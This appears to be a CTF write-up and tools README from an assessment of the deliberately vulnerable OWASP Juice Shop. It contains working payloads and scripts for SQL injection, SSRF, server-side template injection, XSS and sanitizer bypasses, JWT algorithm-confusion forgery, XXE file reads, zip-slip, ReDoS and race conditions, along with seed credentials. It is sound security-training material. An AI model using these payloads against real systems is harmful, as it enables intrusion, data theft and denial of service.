{"cid": 1, "orderLinesData": "/((a+)+b/.test('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'))"}
```

```
curl -s -X POST "<base>/b2b/v2/orders" -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" --data-binary @body.json
```

- Verification: response is 503 Script execution timed out and *Successful RCE DoS* is solved (distinct from the Infinite loop detected Blocked variant).

8. SSRF

Difficulty: ★★★★★★ | Vulnerability class: CWE-918 Server-Side Request Forgery

- Attack surface: POST /profile/image/url (cookie token), then GET /solve/challenges/server-side
- Root cause: the profile-image feature fetches the client-supplied imageUrl server-side with no host allow-list (SSRF). Setting imageUrl to a URL containing solve/challenges/server-side marks abused_ssrf_bug; the shared server-side solver then confirms the challenge when called with its key.
- Exploit:
 1. Log in and keep the session token.
 2. Set the profile image URL to an absolute URL containing the solver path (e.g. the shop's own solver URL):

```
{"imageUrl": "https://<instance>/solve/challenges/server-side"}
```

```
curl -X POST "<base>/profile/image/url" -b "token=$TOKEN" \
-H "Content-Type: application/json" --data-binary @image.json
```

3. Call the solver:

```
curl "<base>/solve/challenges/server-side?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3"
```

- Verification: the solver returns success and *SSRF* is solved.

9. SSTi

Difficulty: ★★★★★★ | Vulnerability class: CWE-1336 Server-Side Template Injection (CWE-94)

- Attack surface: POST /profile then GET /profile (cookie token), username field
- Root cause: routes/userProfile.ts evaluates a `#{...}` username server-side on profile **render**, not on save — the eval fires inside the GET /profile handler and sets `req.app.locals.abused_ssti_bug`; routes/verify.ts then solves the challenge on the next request. No /solve/challenges/... call is involved. The eval result is substituted into the rendered page (a read oracle) but is **not** persisted.
- Exploit:
 1. Log in and keep the session token.
 2. POST /profile with a `#{...}` username — **alone this does nothing**:

```
curl -X POST "<base>/profile" -b "token=$TOKEN" \
  --data-urlencode
    "username=#{JSON.stringify(process.env.X|| '<UNSET>')}"
```
 3. GET /profile — the mandatory step: the eval fires, the flag is set, and the result appears in the page body.
 4. Issue one further request (e.g. GET /api/Challenges/) so the verifier runs.
- Verification: the oracle value (<UNSET>) is echoed in the rendered profile page and SSTi is solved on the request following the render.

10. Multiple Likes

Difficulty: ★★★★★★ | Vulnerability class: CWE-362 Race Condition / TOCTOU

- Attack surface: product-review "like" action, POST /rest/products/reviews/like (review id in body)
- Root cause: liking does a non-atomic read-then-write on the review's likedBy array. Concurrent like requests all pass the membership check before any of them commits, so the same user id is pushed multiple times.
- Exploit:
 1. Pick a product and read its reviews to obtain a review id:

```
curl -s "<base>/rest/products/1/reviews" | jq '.[0]._id'
```

2. Fire many concurrent likes at that review:

```
for i in $(seq 1 10); do
  curl -s -X POST "<base>/rest/products/reviews/like" -H
    "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" -d
    '{"id":"<reviewId>"}' &
done; wait
```

3. Re-read the review: likedBy now holds duplicated entries.

- Verification: the review's likedBy array length is > 2 and *Multiple Likes* is solved. (team activity / our concurrent attempt)

11. Video XSS

Difficulty: ★★★★★ | Vulnerability class: CWE-79 Cross-Site Scripting (DOM, media captions)

- Attack surface: in-app video player consuming a WebVTT subtitle track
- Root cause: caption/subtitle cue text is inserted into the page without escaping, so a malicious WebVTT file runs script in the application origin.
- Exploit (doc level):
 1. Craft a WebVTT track whose cue carries the payload:

WEBVTT

```
00:00:00.000 --> 00:00:05.000
</script><script>alert(`xss`)</script>
```

2. Make the player render this track (substitute the caption source for the video) and play it.
- Verification: the alert fires in the app context; the challenge is registered as solved on the shared instance. (team activity)
-

Environment Setup & Network Architecture

How the target was reached and how the assessment tooling was configured.

Layout

The target ran on a dedicated CTF Wi-Fi network (multi_juicer_5G) with **no outbound internet from the assessment client**. Internet access was carried on a second interface, giving a dual-homed client:

Interface	Purpose	Addressing
usb0	Outbound internet / DNS / tool traffic (GitHub source cross-reference, reverse geocoding)	DHCP, gateway on phone tether
wlan0	Direct route to the target CTF network	192.168.0.163/24, ipv4.never-default yes / ipv6.never-default yes

Connecting the target interface without pulling the default route:

```
nmcli connection add type wifi ifname wlan0 con-name
    "multi_juicer_5G" \
    ssid "multi_juicer_5G"
nmcli connection modify "multi_juicer_5G" \
    wifi-sec.key-mgmt wpa-psk wifi-sec.psk "<wifi-passphrase>"
nmcli connection modify "multi_juicer_5G" \
    ipv4.never-default yes ipv6.never-default yes
nmcli connection up "multi_juicer_5G"
```

Target addressing

- App hostname resolved via mDNS + an /etc/hosts entry pointing at the instance pod IP (e.g. 192.168.0.101).
- Only TCP 80/443 were open on the pod.
- The Juice Shop instance is only reachable **through the MultiJuicer reverse proxy**. Every request needs the team multi-juicer session cookie; otherwise every path 302s to /multi-juicer.

Team access

- Team joined with a one-time join passcode via POST /multi-juicer/api/teams/<team>/join ({"passcode": "..."}).
- Once joined, the multi-juicer cookie must be attached to **every** request for https://ctf-proxy.local/... to be proxied to the team instance.

- Score / solved-list is readable from GET /multi-juicer/api/teams/<team>/status.

Egress correction (important)

The Juice Shop **pod itself has full outbound internet egress**, even though the *client* network does not. This was proven with the profile-image fetch primitive (POST /profile/image/url), which stores an uploads path on success and the raw URL on failure: a raw.githubusercontent.com URL came back as /assets/public/images/uploads/2.jpg (fetched), while a LAN control behaved identically. Earlier assumptions that the target had no egress were wrong, and that assumption made the Web3 challenges look untestable — see [docs/blocked-challenges.md](#) for the *actual* (server configuration) blocker.

Application stack fingerprint

Component	Detail
Express	^4.22.1 (version banner leaked in error pages)
SQLite	3.44.2 (product search, users, captchas)
MongoDB	reviews / orders / complaints
XML parsing	libxml2-wasm, external entities enabled
B2B eval sandbox	notevil inside a node:vm
Templating	Handlebars views (views/*.hbs) + Pug (profile)
Realtime	Socket.IO, Prometheus /metrics
Version	Juice Shop v20.2.0 (read via Local File Read of /juice-shop/package.json)

Source cross-referencing

A shallow sparse clone of the pinned upstream juice-shop/juice-shop (tag v20.2.0) was used to read seed data, runtime config and challenge-verifier source (routes/*.ts, models/*.ts, config/*.yaml) so exploits could be driven precisely and the LLM/Web3 blockers confirmed from the verifier code.

Tooling

curl, jq, Python 3 (urllib/requests), playwright-core + system
Chromium headless (SPA routes / localStorage token injection), raw
Socket.IO polling, exiftool, zipfile/pyyaml for file-upload payloads. See
[tools/README.md](#).

Authentication Model (as observed)

Juice Shop runs **two parallel authentication channels** plus the SPA storage. Knowing which one a route uses is the single most important thing when replaying any exploit.

Mechanism	Header / Cookie	Used by	Notes
Bearer JWT	Authorization: Bearer <jwt>	Most /rest + /api (e.g. POST /api/BasketItems/, PUT /api/Products/:id/, b2b/v2/orders, /rest/products/reviews)	Missing header → 401 No Auth found.
Cookie token	Cookie: token=<jwt>	/rest/user/whoami, /profile, /dataerasure, /rest/user/authentication-details, /rest/image-captcha	These call security.authenticatedUsers — an in-memory store cleared on restart
SPA token	localStorage['token']	Angular app session	Browser automation must inject
Proxy cookie	Cookie: multi-juicer=...	All requests	Gateway requirement (enviro)

Consequences that shaped the engagement

1. **Restart discipline.** After any instance restart the in-memory auth store is empty: cookie-based routes (/profile, /dataerasure, ...) start 401-ing until you log in again. Bearer-token routes are unaffected because the JWT is self-contained. Always re-login after a restart and re-read /api/Challenges/ before relying on cookie-based routes.
2. **Auth $\neq$ user id.** Several endpoints authorize only "is there a token" and trust a *client-supplied* resource id — that is the mass-assignment / IDOR surface (see tiers 3★ and 4★).
3. **CSRF surface.** The token cookie is sent automatically by the browser, so cookie-based POST routes (/profile, /dataerasure) are cross-site-requestable. Bearer-token routes are not (header cannot be set cross-origin without CORS help).

Login mechanics

POST /rest/user/login runs a **raw SQL** query:

```
SELECT * FROM Users WHERE email='..' AND password='..' AND
      deletedAt IS NULL
```

- This is the SQL injection surface used for the *Login Admin* challenge (email=admin@juice-sh.op' --) and the pre-login weak/reused-credential checks.
- Successful login returns a JWT in authentication.token and the server also records it in the in-memory store (so cookie-based routes work after POST /rest/user/login even if the browser never held the token).

JWT algorithm notes

- HS256 JWTs are signed with jwtSecret from config/*.yaml (#SECRET# overridden at runtime).
 - The RSA public key lives at /encryptionkeys/jwt.pub (world readable) — enables algorithm-confusion (HS256 signed with the public-key bytes).
 - alg:none unsigned tokens are accepted for some routes (Unsigned JWT challenge). See [docs/exploit-primitives.md](#).
-

Endpoints & Routes Reference

Every route exercised during the engagement, grouped by surface.

MultiJuicer management

Endpoint	Method	Description
/multi-juicer/	GET	Juicer landing / team selector
/multi-juicer/api/teams/:team/status	GET	Score, rank, solved list
/multi-juicer/api/teams/:team/join	POST	Join with {"passcode":...}
/multi-juicer/api/teams/logout	POST	Leave

Auth & user management

Endpoint	Method	Description
/rest/user/login	POST	Raw-SQL auth query → SQLi (Login Admin). Pre-login checks solve weak/reused-credential challenges.
/rest/user/whoami	GET	Profile; ?fields= projection can include password (Password Hash Leak).
/rest/user/authentication-details	GET	All users (masked passwords for non-admin).
/rest/user/reset-password	POST	Reset w/ plaintext answer; compare HMAC-SHA256(answer, '<static secret>').
/rest/user/security-question?email=	GET	Resolve security question.
/api/Users/	POST	Registration (mass-assignable role, username via setter w/ weak sanitizer).

Endpoint	Method	Description
/profile	GET/ POST	Profile page / username change (cookie token). POST is CSRF-able. Renders Pug with username → SSTi + CSP-bypass surface.
/profile/image/url	POST	Fetch URL as profile image; on fetch failure stores raw URL (SSRF + profileImage injection).
/profile/image/file	POST	Multipart profile image upload.
/dataerasure	GET/ POST	GDPR erasure. layout body param → Handlebars layout = Local File Read .
/rest/image-captcha	GET	Returns SVG captcha + plaintext answer.
/rest/user/data-export	POST	GDPR data export (image-captcha gated).

Shop / orders / reviews / B2B

Endpoint	Method	Description
/rest/products/search?q=	GET	SQL UNION-injectable search (9 cols).
/rest/products/:id/reviews	GET/ PUT	Reviews (Mongo).
/rest/products/reviews	POST	Like a review (race → Multiple Likes).
/rest/products/:id/reviews (via \$where)	GET	NoSQL DoS (sleep injection).
/rest/basket/:id	GET	IDOR basket read.
/api/BasketItems/	POST	Trusts BasketId + accepts negative quantity.
/rest/basket/:id/checkout	POST	Places order incl. negative totals; orderId hash(email)[0:4] -<hex>.
/rest/deluxe-membership	GET/ POST	Deluxe upgrade; paymentMode not enforced → free deluxe.
/api/Products/:id	PUT	Product edit (admin) → Product Tampering.

Endpoint	Method	Description
/b2b/v2/orders	POST	B2B order; evaluates orderLinesData with notevil in a vm → RCE DoS challenges.
/rest/track-order/:id	GET	Reflects id (Reflected XSS).
/api/Complaints/	POST	Complaint messages scanned for challenge proof strings.
/rest/wallet/ balance, /rest/web3*, / rest/nft*	...	Web3 wallet surface (blocked).

Files, feedback, misc

Endpoint	Method	Description
/rest/captcha/	GET	Math CAPTCHA w/ answer; reusable (CAPTCHA Bypass).
/api/Feedbacks/	GET/ POST	Requires captcha; UserId mass-assignable (Forged Feedback).
/file-upload	POST	Multipart upload (file). XML → XXE; size/type checks; ZIP → zip-slip Arbitrary File Write ; YAML → alias bomb.
/ftp/, /ftp/:file	GET	Directory listing / downloads.
/rest/memories	GET	Photo wall (leaks user records incl. password hashes).
/rest/chat	POST	Chat SSE (LLM unreachable in this deployment).
/socket.io	WS	Socket.IO events: verifyLocalXssChallenge, verifyCloseNotificationsChallenge, verifySvgInjectionChallenge.
/snippets/:key, / snippets/ verdict, / snippets/ fixes/:key, / snippets/fixes	GET/ POST	Coding-challenge snippets & verdicts (find-it / fix-it; unauthenticated).
/solve/ challenges/	GET	

Endpoint	Method	Description
server-side? key=...		Marks SSTi/SSRF solved when abused_ssti_bug/abused_ssrf_bug are set.
/we/may/also/ instruct/you/to/ refuse/all/ reasonably/ necessary/ responsibility	GET	Privacy-Policy proof image.
/rest/admin/ application- configuration	GET	Full runtime config.
/metrics, /api/ Challenges/, /.well- known/ security.txt, / robots.txt	GET	Standard recon surface.

SPA routes

/#/score-board, /#/search (DOM XSS sink), /#/contact, /#/administration, /#/privacy-security/privacy-policy, /#/web3-sandbox, /#/chatbot, /#/photo-wall, /#/deluxe-membership (accepts ?testDecal= → SVG-injection proof), /#/track-result?id= (reflected XSS).

Coding Challenges — find-it / fix-it (70/70 solved)

The Juice Shop score-board total of **186 = 116 hacking challenges + 70 coding challenges**. Every challenge flagged hasCodingChallenge: true (35 of them) exposes **two** code-snippet sub-challenges:

- **Find it** — select the vulnerable line(s) of a code snippet.
- **Fix it** — pick the correct patch from a set of candidate fixes.

Both are served by **unauthenticated** endpoints, so they are fully solvable offline / in bulk.

Endpoints

Endpoint	Method	Purpose
/snippets/:key	GET	Return the vulnerable code snippet for key
/snippets/verdict	POST	{key, selectedLines:[...]} → {verdict:true} if vulnerable lines selected (find it)
/snippets/fixes/:key	GET	Return candidate patches ({fixes:[...]})
/snippets/fixes	POST	{key, selectedFix:<index>} → {verdict:true} if correct patch picked (fix it)

Mechanics

- routes/vulnCodeSnippet.ts — getVerdict() requires selectedLines to be a **superset of vulnLines** and a **subset of vulnLines ∪ neutralLines**; the minimal correct answer is exactly vulnLines. Success → codingChallengeStatus = 1.
- routes/vulnCodeFixes.ts — readFixes() scans data/static/codefixes/<key>_<n>[_correct].ts; the file whose name has three segments marks correct = n - 1. Submitting that index → codingChallengeStatus = 2.
- lib/codingChallenges.ts — builds each snippet from the // vuln-code-snippet start/vuln-line/neutral-line/end markers in server.ts, routes/, lib/, data/, frontend/src/app, models/, infrastructure/. Replaying getCodingChallengeFromFileContent() against the pinned v20.2.0 source yields the exact vulnLines/neutralLines per key — the markers are stripped from the served snippet, so line numbers must be recomputed locally.

Solve method

1. Compute vulnLines per key by replaying getCodingChallengeFromFileContent() over the v20.2.0 tree (a small Node script walking SNIPPET_PATHS; note server.ts is a *file* and must be scanned directly, not skipped by the directory walk). See [./tools/coding_challenge_solver.mjs](#).

2. POST /snippets/verdict {key, selectedLines: vulnLines} → find-it solved.
3. GET /snippets/fixes/:key, then try selectedFix = 0..N-1 until verdict:true → fix-it solved (robust against readdirSync ordering).

Result

All **35 find-it** + **35 fix-it** = **70/70** solved (codingChallengeStatus: 2 for all 35 keys), including the coding counterparts of the otherwise-blocked AI / Web3 challenges (chatbotPromptInjection, chatbotGreedyInjection, nftMint, web3Wallet).

Scoring caveat. MultiJuicer's CTF score is the sum of *hacking* challenge difficulties only, so it is unaffected by coding challenges (still 3870). The coding challenges only move the Juice Shop score-board progress (111 → 181 of 186).

Blocked Challenges (5 remaining)

111 of 116 hacking challenges were solved. The remaining 5 are **blocked at the deployment level** — none of them are reachable through the HTTP API as configured:

Challenge	Tier	Status
AI Debugging	★★	Blocked — needs a tool-call event, which only a live LLM emits
Chatbot Prompt Injection	★★	Blocked — generateCoupon tool needs a live LLM
Greedy Chatbot Manipulation	★★★	Blocked — needs LLM to emit ≥50% coupon
Mint the Honey Pot	★★★	Blocked — ALCHEMY_API_KEY unset, so the event listener never subscribes
Wallet Depletion	★★★★★	Blocked — same root cause: ContractExploited can never be observed

Web3 blocker (verified against the verifier source)

Both Web3 challenges are gated on **server-side** ethers event listeners, not on anything the client does:

- routes/nftMint.ts — walletNFTVerify() only solves when the submitted address is in addressesMinted, and the **only** write to that Set is inside contract.on('NFTMinted', ...).
- routes/web3Wallet.ts — web3WalletChallenge is solved **inside** the contract.on('ContractExploited', ...) callback.

Both listeners are built against:

```
new WebSocketProvider(`wss://eth-sepolia.g.alchemy.com/v2/${process.env.ALCHEMY_API_KEY ?? ''}`)
```

Reading the live environment through the SSTi read oracle shows the key is **not configured**:

Probe	Result
process.env.ALCHEMY_API_KEY	<UNSET>
env keys matching /KEY ALCHEMY WEB3 ETH/i	CTF_KEY only
process.env.NODE_ENV	multi-juicer

So the provider URL degrades to wss://eth-sepolia.g.alchemy.com/v2/ with an empty key, which Alchemy rejects (HTTP/2 401 Must be authenticated!). GET /rest/web3/nftMintListen still returns {"success":true,"message":"Event Listener Created"} because ethers connects lazily — the failure only surfaces later on provider.websocket.onerror. That success message is misleading.

Even a funded Sepolia wallet and a genuine on-chain mint would not solve these, because the server never establishes the subscription and therefore never observes the event. Supplying ALCHEMY_API_KEY to the deployment is the only thing that would put these two in reach. Note this is *not* the "needs internet" limitation assumed earlier — the pod has full egress; the block is purely configuration.

LLM blocker (verified with the correct request shape)

/rest/chat takes AI-SDK **model messages** directly:

```
POST /rest/chat {"messages":[{"role":"user","content":"Hello"}]}
```

With the correct shape the endpoint returns 200 and streams SSE, but the body is:

```
data: {"error":"LLM error: AI_RetryError: Failed after 3 attempts.  
Last error: Cannot connect to API: "}
```

Live config read through the SSTi oracle:

Config / env	Value
application.chatBot.llmApiUrl	http://localhost:11434/v1 (Ollama)
application.chatBot.model	gemma4:e4b
application.chatBot.name	Juicy the Smart Assistant

(appConfiguration deletes llmApiUrl from its response, so this had to be read via the eval oracle, not the config endpoint.)

The three AI challenges need the model to *act* — Prompt Injection and Greedy Manipulation both require the generateCoupon tool to fire, and AI Debugging requires a tool-call event — all confirmed blocked by the **deployment**, not by request format or any bypassable filter.

Correction worth remembering: *System Prompt Extraction* was initially grouped with these, which was wrong — it is verified against the Complaints table, not the chat stream, and was solved without a live model (see 3-star writeup).

Bridging the LLM gap (SSTi → in-process fake LLM)

Because the three AI challenges gate on the server-side `streamText` call to the configured `llmApiUrl`, a working OpenAI-compatible endpoint at `http://localhost:11434/v1` would let them be solved through the *legitimate* tool-execution path. The SSTi eval gives enough control to try:

- Use a `#{...}` username eval to start an **in-process** http server on `127.0.0.1:11434` (no child process — `child_process.spawn/exec` reliably 502s / restarts the pod, and `/tmp` is not writable; the uploads directory is). The fake model returns an SSE `tool_calls` chunk invoking `generateCoupon` with `{"discount":50}` and emits a `tool-call` event (→ AI Debugging with the `show_tool_calls=true` cookie + non-admin token). The file-write side of the eval (to the uploads directory) was verified working.

Outcome: the deploy succeeded once, but the instance then entered a sustained instance-restarting loop, wiping users back to the seed and killing both the in-memory auth store and the in-process server before `/rest/chat` could complete. Conclusion: the three AI challenges are *technically* reachable via this bridge; the remaining blocker is **instance stability**, not the LLM.

Reusable Exploit Primitives

Nine techniques that were derived and verified against this instance. Each is self-contained enough to replay on any Juice Shop deployment.

1. Defeating `sanitizeLegacy` with a self-reassembling payload

The username sanitizer is a single global `replace` of `/<(?:\w+)\W+?[\w]/gi` — it eats `<tag` plus the following non-word run plus one word character. Prefixing a decoy does **not** help (the payload's own `<iframe s` is still eaten). The trick is to make the **removed span** straddle a duplicated character so the survivors reassemble into the exact payload:

```
<<a>iiframe src="javascript:alert(`xss`)">    ->    <iiframe
src="javascript:alert(`xss`)">
<<a>script>alert(`xss`)</script>                ->
<script>alert(`xss`)</script>
```

The leading < is skipped (next char is <, not \w), <a>i / <a>s is consumed, and nothing after it matches.

2. CSP injection through the profile image URL

routes/userProfile.ts builds the header as `img-src 'self' \$ {user.profileImage}; script-src 'self'` and solves **CSP Bypass** only when profileImage matches `/;[ ]*script-src(.*?)'unsafe-inline'/. Setting the image URL to`

```
https://placeholder.co/100.png; script-src 'unsafe-inline'
```

injects a second, permissive script-src into the emitted CSP. Combine with the username payload from (1).

3. GDPR data theft via vowel-mask collision

routes/dataExport.ts looks orders up by email.replace(/[aeiou]/gi, '*'). Any account whose **masked** email collides with the victim's inherits their orders:

```
admin@juice-sh.op    -> *dm*n@j**c*-sh.*p
edmen@jaace-sh.ep    -> *dm*n@j**c*-sh.*p    <- register this
```

The export is gated by an image CAPTCHA, whose plaintext answer is readable through the existing SQLi:

```
x')) UNION SELECT id,answer,image,4,5,6,7,8,9 FROM ImageCaptchas
ORDER BY id DESC--
```

4. JWT algorithm confusion

/encryptionkeys/jwt.pub is world-readable. Signing **HS256 with the raw public-key file bytes as the HMAC secret** is accepted. PyJWT refuses this on purpose, so build it by hand:

```
import base64, hashlib, hmac, json
b = lambda x: base64.urlsafe_b64encode(x).rstrip(b'=')
```

```

h = b(json.dumps({'alg': 'HS256', 'typ': 'JWT'}).encode())
p = b(json.dumps({'email': 'rsa_lord@juice-sh.op'}).encode())
sig = hmac.new(open('jwt.pub', 'rb').read(),
                f'{h.decode()}.{p.decode()}'.encode(),
                hashlib.sha256).digest()
print(f'{h.decode()}.{p.decode()}.{b(sig).decode()}')

```

5. Forging a continue code

Progress codes are Hashids with salt this is my salt, min length 60, alphabet a-zA-Z0-9. Encoding 999 and PUT-ing it to /rest/continue-code/apply/<code> solves *Imaginary Challenge* without touching any other challenge's state.

6. Talking Socket.IO without a client library

python-socketio failed namespace negotiation against the MultiJuicer proxy. The raw polling handshake works and is enough to emit verifier events:

```

GET /socket.io/?EI0=4&transport=polling -> {"sid":...}
POST /socket.io/?EI0=4&transport=polling&sid=<sid> body: 40
POST /socket.io/?EI0=4&transport=polling&sid=<sid> body:
42["<event>", "<data>"]

```

See `./tools/socketio_client.py`.

7. SSTi as a host-introspection oracle

The `#{...}` username eval is not just a challenge trigger — it is a general read primitive for the server process. The eval result is substituted into the rendered page, so the value can be read straight back out:

```

POST /profile
username=#{JSON.stringify(process.env.ALCHEMY_API_KEY||'<UNSET>')}
GET /profile -> value appears in the profile <p> block

```

This is how the Web3 blocker above was confirmed. It succeeds where XXE fails: `/proc/self/environ` is NUL-separated and `libxml2` aborts with Invalid character: Char 0x0 out of allowed range, whereas the eval path returns clean JavaScript values. The eval result is **not** persisted to the DB — it must be scraped from the rendered response.

8. Reading server files

Two independent primitives: XXE via `/file-upload (.xml`, echoes the parsed doc back in the 410 error, truncated to ~400 chars, breaks on files containing `&` or `<`) and the GDPR `/dataerasure` layout hijack (100-char preview). Neither gives full-file reads — for bulk source review, cross-reference the pinned upstream release instead.

9. Solving all coding challenges offline

The `/snippets` endpoints are unauthenticated and entirely deterministic. `vulnLines` per key are derived from the `// vuln-code-snippet` markers in the pinned source (`replay lib/codingChallenges.ts`), and the correct fix index is the `_correct`-suffixed file in `data/static/codefixes/` (or just brute-force `selectedFix`). This clears all 70 coding challenges without touching the LLM or blockchain. See `./tools/coding_challenge_solver.mjs` and the [coding-challenges doc](#).

Key Credentials, Hashes & Data Points

All values below are **static application seed data / public-source material** from Juice Shop v20.2.0, reproduced here only for reference in the writeups. Nothing here is a live environment secret. (Live session material — team cookie, join passcode, proxy hostname — is deliberately absent from this repo.)

Entity	Value	Use
Admin SQLi	<code>email=admin@juice-sh.op' --</code>	admin session (basket id 1)
Exposed test account	<code>testing@juice-sh.op / IamUsedForTesting (admin)</code>	Exposed Credentials
J12934 (leaked logs)	<code>0Y8rMnww\$*9VFYE\$59-!Fg1L6t&6lB</code> <code>J6aVjTgOpRs@?5l!Zkq2AYnCE@RF\$P</code>	Leaked Access Logs

Entity	Value	Use
Support team		Login Support Team
HMAC key (security answers)	pa4qacea4VK9t9nGv7yZtwmj (static)	verify stored answer hashes
John geo answer	Daniel Boone National Forest	reset john@juice-sh.op
Emma geo answer	ITsec	reset emma@juice-sh.op
Reset answers	jim=Samuel; bjoern@owasp.org =Zaya; bender=Stop'n'Drop; uvogin=Silence of the Lambs; bjoern@juice-sh.op =West-2082; morty=5N0wb41L	reset challenges
CSAF checksum	7e7ce7c6...42e843 (prefix/suffix)	Security Advisory
Vulnerable infra	mongo + 4.4.29	Vulnerable Infrastructure
Leaked API key	6PPi37DBxP4lDwlriuaxP15HaDJpsUXY5TspVmie	Leaked API Key
Admin MD5	0192023a7bbd73250516f069df18b500	Weird Crypto
SSRF/SSTi solve key	tRy_H4rd3r_n0thIng_iS_Imp0ssibl3	/solve/ challenges/ server-side? key=...
Profile-username eval trigger	username containing #{...}	SSTi flag / read oracle
XSS payloads	<iframe src="javascript:alert(`\xss`)">, `	DOM / Reflected / username XSS
Product search columns	9	UNION shape
	sanitizeLegacy: /<(?:\w+)\W+?[\w]/gi	CSP Bypass (username).

Entity	Value	Use
Users-username sanitizer		Client-side XSS Protection is checked on the email field, which is not sanitized at all.
Hashids (continue codes)	salt this is my salt, min length 60, alphabet a-zA-Z0-9	Imaginary Challenge
JWT algorithm confusion	/encryptionkeys/jwt.pub bytes as HS256 secret	Forged Signed JWT
NFT private-key surface	wallet private key accepted at NFT unlock endpoint	NFT Takeover

Tools

Reusable exploit scripts & payloads derived from the engagement. Dependency policy: Python 3 stdlib + requests; Node $\geq$ 18 (global fetch) for the coding solver. Everything is parameterized so it replays against any Juice Shop deployment.

All HTTP examples assume a BASE_URL (app origin) and, where the request must be proxied (MultiJuicer), a proxy cookie. Live values are <redacted> in this repo.

Tool	Purpose
<u>union_sqli.py</u>	Arbitrary UNION SQL execution against the product-search injection
<u>jwt_forge.py</u>	Forge JWTs: algorithm confusion, alg:none, plain HS256
<u>socketio_client.py</u>	Raw Socket.IO polling client (no library) for verifier events
<u>coding_challenge_solver.mjs</u>	

Tool	Purpose
	Solve all find-it/fix-it coding challenges from a pinned source tree
<code>security_answer_hmac.py</code>	Verify/reset security-answer HMACs
<code>make_zip_slip.py</code>	Build a zip-slip archive
<code>payloads/</code>	XXE, XXE-DoS, YAML alias-bomb, B2B RCE-DoS payload files

union_sqli.py — SQL injection executor

The search endpoint builds raw SQL with the term interpolated into the WHERE. Unioning with 9 columns exposes anything reachable in the SQLite DB.

```
# Dump the full schema
python3 union_sqli.py --base "$BASE_URL" --cookie "$PROXY" schema

# Arbitrary UNION query (pad to 9 columns; integers fill the rest)
python3 union_sqli.py --base "$BASE_URL" --cookie "$PROXY" query \
  --select "id,email,password" --from "Users" --where "id=1"
```

jwt_forge.py — token forgery

```
# HS256 signed with the RSA public-key file bytes (algorithm
  confusion)
python3 jwt_forge.py confuse --pub jwt.pub --email rsa_lord@juice-
sh.op

# Unsigned (alg:none)
python3 jwt_forge.py none --email jwtn3d@juice-sh.op

# Plain HS256 with an explicit secret
python3 jwt_forge.py hs256 --secret "$JWT_SECRET" --email
admin@juice-sh.op
```

socketio_client.py — raw Socket.IO events

```
# Emit a verifier event (e.g. Mass Dispel / SVG injection)
python3 socketio_client.py --base "$BASE_URL" --cookie "$PROXY" \
  emit --event verifyCloseNotificationsChallenge \
  --data '["close","close"]'
```

```
# Listen for a short while (polling transport)
python3 socketio_client.py --base "$BASE_URL" --cookie "$PROXY"
listen --seconds 10
```

coding_challenge_solver.mjs — all 70 coding challenges

Needs a checkout of the pinned Juice Shop source tree (default ./juice-shop) whose // vuln-code-snippet markers are parsed to recompute vulnLines per key (identical logic to lib/codingChallenges.ts).

```
node coding_challenge_solver.mjs --base "$BASE_URL" --source ./juice-shop
# dry run prints the computed key -> vulnLines table without posting
node coding_challenge_solver.mjs --source ./juice-shop --dry-run
```

security_answer_hmac.py

```
# Print the stored-answer HMAC for an answer (compare with the DB dump)
python3 security_answer_hmac.py "Samuel"
```

make_zip_slip.py

```
# Creates slip.zip containing ../../ftp/legal.md
python3 make_zip_slip.py slip.zip ../../ftp/legal.md "overwritten"
curl -X POST "$BASE_URL/file-upload" -F "file=@slip.zip"
```

Payload files (payloads/)

File	Technique	Result
xxe_read.xml	file:///etc/passwd external entity	file content echoed in 410
xxe_dos.xml	blocking read of file:///dev/random	parse stalls → 503 (XXE DoS)
yaml_alias_bomb.yml	exponential alias expansion	graceful 503

File	Technique	Result
		(Memory Bomb)
b2b_infinite_loop.json	orderLinesData:"while(true){}"	Infinite loop detected (Blocked RCE DoS)
b2b_regex_timeout.json	catastrophic regex backtracking	503 Script execution timed out (Successful RCE DoS)